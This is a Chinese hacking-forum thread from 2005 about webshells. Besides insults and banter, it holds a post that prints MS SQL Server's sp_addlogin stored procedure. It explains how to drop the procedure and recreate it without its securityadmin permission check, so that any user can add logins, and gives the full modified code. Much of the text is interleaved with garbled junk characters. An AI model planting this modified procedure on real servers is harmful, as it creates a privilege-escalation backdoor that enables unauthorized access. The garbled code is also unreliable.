[原创]webshell篇

就凭你？
, z2 o! l( P9 {( {8 J/ c  V( C有资格这样评价师院学生的计算机水平？？
用这种口气诋毁别人！
鄙视你

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[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言：[/B][BR]限
这个定义未免太烂了吧，我想知道你用什么方法获得人家的webshell，靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然，那你凭什么教人家怎么去研究
) c3 ~- ]% S$ A3 @对于师院人士的计算机水平，我实在不敢恭维，没有天才的诞生啊
哎，可悲啊

就是就是。。

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[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言：[/B][BR]对一个深陷迷途的同志，各位大虾用得着这样蔑视它吗，我们应当怀着一颗仁慈的心来拯救它，爱护它，我KAO，JB

[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
$ x; [/ Y/ Y; m8 o: },@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
3 u! Y7 k* W% x6 X9 {% J/ c+ z,@encryptopt varchar(20) = Null
" U& b3 |, X. B2 P8 z3 R& kAS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret   int   -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
7 s& m; y1 }) K/ j4 M2 D2 ^) |raiserror(15247,-1,-1)
! K7 c! _5 \3 O) x/ P. D+ a" Kreturn (1)
7 X$ Y2 D$ q6 g6 a$ a) Q* ]end
+ s6 U. w) W0 ^/ P' UELSE
0 @) I" S, N/ Bbegin
& c( i8 X; G; M* H$ _# ]dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
# x6 t1 l2 W  m+ z& q- k; I+ `end
0 E5 y! `# V. j7 w7 j3 f2 l( y-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  I7 [5 Q* Q+ X( F  f7 d) Fraiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
end
$ _9 N0 a/ F) d5 s' S-- VALIDATE LOGIN NAME AS:
" K6 q8 n' X8 }% S4 I: [( C! x-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
4 E/ Z! {0 j/ m-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
7 c3 a# t7 P, P5 q( T) J. j0 `) dif (charindex(\'\\\', @loginame) > 0)
& D- J4 j4 i% b0 ?! Xbegin
! ?$ Z, t% `) I+ l- D# \  raiserror(15006,-1,-1,@loginame)
5 a: I- V: p% J4 j1 h. ]" w1 a% q  return (1)
end
2 R2 g9 G6 Y# D$ y: F+ a9 x  }: f--Note: different case sa is allowed.
3 c! E* H8 Y0 y) ]if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
- C8 W- n, l( O- cbegin
) y" v9 u& T9 W. n8 b/ craiserror(15405, -1 ,-1, @loginame)
% u! D( j" G) v8 z4 Z7 g2 ]# a& oreturn (1)
8 U2 @( p( X% G$ zend
3 }! B$ H6 q9 b1 w& f5 S) p, H  \-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
+ l) ^/ w, [, O0 v/ M  _@loginame)
' }* G( S, }- [+ z& e8 sbegin
5 x. t# l7 q& R' a. Traiserror(15025,-1,-1,@loginame)
return (1)
4 u8 l4 |% i+ x- Gend
) w" \0 k  Z% p2 h-- VALIDATE DEFAULT DATABASE --
8 G  ~  R/ x( H% P) oIF db_id(@defdb) IS NULL
begin
7 W7 T/ B; o% ^" h$ A* \/ Jraiserror(15010,-1,-1,@defdb)
6 ?1 ]% j2 X3 W* p# A5 J" K% E" ~; zreturn (1)
$ I9 [/ V2 w) k$ g% ^0 |end
) `+ {: |; H% j4 Z! X8 {) x-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
# E2 P  i; r& x0 y. L/ y, uExecute @ret = sp_validlang @deflanguage
! x! L3 w- E/ i3 v" jIF (@ret <> 0)
( v6 |- [% P; ?4 Yreturn (1)
& H& b3 o' A5 \, r- Xend
ELSE
begin
% ~1 |" Z# N/ W8 Iselect @deflanguage = name from master.dbo.syslanguages
% Q2 }5 U" g3 m. ], w+ b& l$ c! wwhere langid = @@default_langid --server default
language
8 m) S4 C. I6 Y6 C* d. Bif @deflanguage is null
select @deflanguage = N\'us_english\'
% @  n# o$ o0 E$ G( _( @! o+ Bend
' u& k; U6 }' A, d" E2 Z-- VALIDATE SID IF GIVEN --
2 C' Z% Y$ C" Y6 d! t) ]if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
( s3 C$ C" v, R$ `4 W+ Cbegin
. l# j; k4 S% Araiserror(15419,-1,-1)
2 Z, w# T" `7 G  ~7 U, sreturn (1)
. }. H( g) |% w' P# R: @end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
/ H) U  ?- Z1 c  K( iend
-- VALIDATE AND USE ENCRYPTION OPTION --
3 B" g4 |; E, K  o% }- Ddeclare @xstatus smallint
select @xstatus = 2 -- access
! r, {, a9 h5 ]3 q$ O/ Kif @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
7 e$ m& u9 V+ X1 _, Sbegin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
6 N) R2 l6 G% o  ?@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
/ S# ^  t! ~3 H. m- k  }end
+ q* A2 I: x: Z8 \else if @encryptopt <> \'skip_encryption\'
! b% M5 ~) P/ o; T1 jbegin
raiserror(15600,-1,-1,\'sp_addlogin\')
return 1
5 J  Q! |- n5 E1 ^* l2 cend
4 X2 @" I5 w- k: H3 e6 `-- ATTEMPT THE INSERT OF THE NEW LOGIN --
* G2 {8 K  m1 l% R3 ^. z: QINSERT INTO master.dbo.sysxlogins VALUES
0 R( x3 s. {6 p  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
' W9 E6 ]8 C: P4 M* y9 e. L! a8 j  i4 c, U& j    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
" {6 h  ^) m# j# S/ Q0 `  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
" K- ]" s' T$ Q0 R% BSYSLOGINS CHANGE --
exec(\'use master grant all to null\')
7 Q0 `8 G3 \( |7 h! W1 H3 |-- FINALIZATION: RETURN SUCCESS/FAILURE --
2 L" G. y: c) ]* lraiserror(15298,-1,-1)
' W- [- U" t( O- [0 Y. u9 ~% `return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
) a/ r2 ?. z: D5 J& {6 b$ ssp_addlogin，主要是这里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
& N2 v/ J3 V/ _- |end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
0 T( H$ Y; O9 ]+ N3 x) ]0 Jend
: w# P# O" e. H4 Y9 x
& N! c6 Q2 J# r- s; h" }. b只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
drop procedure sp_addlogin
2 E% z0 \" _+ p
$ v0 @% e- t" I3 U
( U2 j0 |5 j, \0 P7 c9 t; H/ u
然后再来恢复sp_addlogin


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( n8 U6 e' q/ Q+ V7 g- m4 \create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
' l& r) C3 M0 n: RCONFIGURABLE???
3 Y" A8 E" ~/ t/ S" N  c,@deflanguage   sysname = Null
. v9 s" D# b  z* F,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
) }& y/ }1 k/ I, d0 T9 Y-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
9 l4 D% |4 [, `. V$ l) PDeclare @ret   int   -- return value of sp call

6 p+ H* [1 }, T* p) T# g-- DISALLOW USER TRANSACTION --
set implicit_transactions off
5 B# c7 Q/ ?" Y3 L+ EIF (@@trancount > 0)
" \( ?' t( w( S6 kbegin
raiserror(15002,-1,-1,\'sp_addlogin\')
4 |: F/ \- F# Ireturn (1)
7 b3 ]& P" _& P- T! f& g) `end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
: H6 {- x9 @. a$ [7 O+ z-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
7 r, t+ m9 S! V: z1 I4 q& P* Jif (@ret <> 0)
3 t2 E. }; N6 \; C  return (1)
if (charindex(\'\\\', @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
; a$ U9 G* n/ L; }$ S2 V4 |1 tend
! I& d0 J5 \4 ]+ Y! E5 r  v) _--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
6 c* H) O6 B, w) Qbegin
2 v* Q- T: P3 d6 Nraiserror(15405, -1 ,-1, @loginame)
4 e; P" x/ B2 ereturn (1)
! Y  B6 _- ]4 e2 j1 ]end
  k5 @3 B# E- V* |3 [-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
+ }) h$ S( r' Y) u) v$ Pbegin
  F- |- {0 @- @+ J, @raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
# l2 r! X6 m8 @; _2 O% sIF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
) g: _9 R1 b3 L: E' {; o% f9 l# fIF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
; z: K' d1 c" T3 Y) a6 CIF (@ret <> 0)
return (1)
end
0 v: Q* [  y6 A+ ^1 _4 nELSE
$ }4 c' E- v2 d0 P8 O$ C9 Fbegin
select @deflanguage = name from master.dbo.syslanguages
2 d& n. V5 q; v" e: Owhere langid = @@default_langid --server default
language
9 `# b! i5 R7 D( P: i/ R0 V# S6 Hif @deflanguage is null
select @deflanguage = N\'us_english\'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
  z8 x2 h3 a( S- Qend
else if @sid is null
& f2 N; ^$ K. Uselect @sid = newid()
if (suser_sname(@sid) IS NOT Null)
* T3 r# t  f6 a8 Abegin
raiserror(15433,-1,-1)
return (1)
. n6 P! c% n3 A2 w& Hend
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
2 A- [; C& o  G+ Wselect @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
# Y1 n. X# \9 Q, ?' _, Z  Ubegin
/ r  `! b! s6 M, cselect @xstatus = @xstatus | 0x800, -- old-style
& T3 y; N" {9 @' `encryption
. O" G; [! W2 s' s@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
4 R: `, A" E; w+ dend
- `& @- a1 b+ T! Pelse if @encryptopt <> \'skip_encryption\'
begin
raiserror(15600,-1,-1,\'sp_addlogin\')
return 1
4 k* C* r3 J, q# q; _. cend
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
" {0 N" w3 D  }INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
5 i; }! N4 J1 P2 B- j    getdate(), @loginame, convert(varbinary(256), @passwd),
" |+ i! G; q7 F/ w: }6 `3 J    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
2 V* _* Q. h% s4 e8 \5 c  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
+ j& W9 h: Y9 D0 b9 T: [* hexec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
* M0 n5 D5 a$ s+ C, nraiserror(15298,-1,-1)
return (0) -- sp_addlogin
+ u1 D/ P) l5 W- c( J# J: K8 G  fGO

/ i( E6 l4 k* r4 o. `MM很强啊..    是不是师院计算机系的.??

就当凭着这美丽的回帖..  
偶帮你加精了..

我不是计算机系的。
自己学的。
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+ ]1 A4 u  J, J+ k1 O, m8 `- p

[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言：[/B][BR]

2 V# j* c, {. c1 U* X' G( U) jMM很强啊..    是不是师院计算机系的.??

晕..  不是吧.. 自学的?...

我不是计算机系的！！！

...晕...在这里讨论还要别人给QB